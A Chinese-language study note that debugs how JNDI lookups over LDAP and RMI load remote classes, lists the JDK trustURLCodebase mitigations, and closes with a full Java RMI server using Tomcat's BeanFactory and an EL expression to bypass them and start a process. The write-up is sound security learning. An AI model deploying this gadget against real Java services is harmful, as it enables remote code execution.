JNDI注入学习

0x01.JNDI

JNDI是啥东西可以看看相关文章,或者问问LLM,这里跳过,我也讲不清楚。

0x02.JNDI注入

如下是一个JNDI注入代码,恶意LDAP服务用marshalsec启动。尝试调试一下java.naming.InitialContext#lookup做了什么。

import javax.naming.*;
import java.util.Hashtable;

public class JndiTest {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://127.0.0.1:1389/ExploitClass");
}
}

image-20260809155129320

首先调用InitialContext#getURLOrDefaultInitCtx解析JDNI原生支持的协议,这里即为LDAP,除此之外,还包括常见的RMI、DNS等等。而下面这部分充分体现了JNDI的SPI(Service Provider Interface),最终根据scheme(ldap)获取到ldapURLContext类。

protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}

image-20260809155416799

往下调用ldapURLContext#lookup,传入的name不能带URL查询参数,最后调用父类GenericURLContext#lookup。

image-20260809160634956

继续调用PartialCompositeContext#lookup,传入参数为恶意的class名称,这里即为ExploitClass。

image-20260809161055432

进一步调用ComponentContext#p_lookup。

image-20260809175840094

此方法中会进入case 2分支,表示正常状态,没有遇到隐式下一个命名系统,调用当前上下文的具体实现方法 c_lookup,传入头部名称进行查找。

image-20260809162257703

首先向恶意LDAP服务器发起一次真实的搜索请求,过滤器是(objectClass=*)(匹配所有对象)。doSearchOnce表示只执行一次搜索,不处理分页或引用跳转。同时保存服务器返回的响应控制控件resControls。往后处理搜索状态与提取属性。

往下的操作非常关键,com.sun.jndi.ldap.Obj.JAVA_ATTRIBUTES[2]为javaClassName,var4临时存储从LDAP服务器查找到的条目属性集合,内容如下图,其中有javaClassName,因为据RFC 2713规范,当一个LDAP节点用于存储 Java对象时,javaClassName是一个必填的核心标识属性,用于记录该Java对象的全限定类名,那么就会执行其中的分支代码。

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;

Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}

if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}

if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}

......

image-20260809164224239

image-20260809163712911

进入com.sun.jndi.ldap.Obj#decodeObject,首先获取CodeBase地址:http://127.0.0.1:8888/。然后进入三个判断分支,第一个对应javaSerializedData、第二个对应javaRemoteLocation,LDAP会走else分支,代表JNDI Reference 引用,下面是几种属性的对应:

  • JAVA_ATTRIBUTES[0]:objectClass
  • JAVA_OBJECT_CLASSES[2]:javaNamingReference
  • JAVA_OBJECT_CLASSES_LOWER[2]:javanamingreference

会调用com.sun.jndi.ldap#decodeReference

image-20260809170343173

else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}

在com.sun.jndi.ldap#decodeReference中会返回一个Reference对象。也就是marshalsec构造的恶意Reference。其中的那个classFactoryLocation成员就是很多文章说的那个JNDI注入原理相关的:本地CLASSPATH找不到就提取的这个成员变量加载。往下分析会发现这个成员变量是会被当作CodeBase远程加载恶意类的。

image-20260809172421303

返回后,进入javax.naming.spi.DirectoryManager#getObjectInstance。

image-20260809173132044

其中会调用javax.naming.spi.NamingManager#getObjectFactoryFromReference方法。之前的那个Reference实例就会传入到这个方法中。

image-20260809173445371

最后进入javax.naming.spi.NamingManager#getObjectFactoryFromReference,会先在本地加载恶意类ExploitClass,显然是null,然后在往下,根据CodeBase远程加载恶意类。

image-20260809174809959

利用RMI协议最后也会走到上面的方法,所以原理都差不多,暂时不分析了。

本次调试的jdk版本为8u66,并且使用的LDAP协议,所以能够成功加载。官方防止JNDI注入,推出了一系列限制(来源: https://hasegawaazusa.github.io/jndi-injection-note.html ):

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

在jdk 8u191调试发现确实会判断trustURLCodebase,默认为false。

image-20260809181636362

对于RMI,在其com.sun.jndi.rmi.registry.RegistryContext#decodeObject就拦了。

image-20260809182334246

看到RMI的判断,其实还是有绕过方法的嘛:

  • Reference对象为null
  • Reference对象调用getFactoryClassLocation()为null
  • trustURLCodebase为true

第二种方法是有可能的,javax.naming.Reference#getFactoryClassLocation就是返回Reference的classFactoryLocation成员变量,如果此值为空就可以Bypass。image-20260809205452467

那么我就需要构造本地classFactoryLocation的Reference对象,能用到的一个本地类是org.apache.naming.factory.BeanFactory,该类存在于Tomcat依赖中,添加pom如下:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.0</version>
</dependency>

这时候Server代码这样构造:

package org.Server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilServer{
public static void main(String[] args) throws Exception{
System.setProperty("java.rmi.server.hostname", "127.0.0.1");

Registry registry = LocateRegistry.createRegistry(1098);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open', '-a', 'Calculator']).start()\")"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);

registry.bind("evil", referenceWrapper);

System.out.println("EvilServer started on port 1098...");
}
}

这时候就会调用javax.naming.spi.NamingManager#getObjectInstance,在调用到javax.naming.spi.NamingManager#getObjectFactoryFromReference。image-20260809215739377

在getObjectFactoryFromReference就和之前分析LDAP协议调用一样了,只是在classFactoryLocation为null的情况下不会直接loadClass(这样会直接被trustCodeBase拦死),会返回classFactory的实例,这里就是BeanFactory。

image-20260809220037757

返回后调用BeaconFactory#getObjectInstance方法,

image-20260809220542820

在此方法中就会执行构造的payload,一个EL表达式。

image-20260809221003086

利用本地类来绕过的种类还有很多包括:JavaBeanObjectFactory、FactoryBase等等。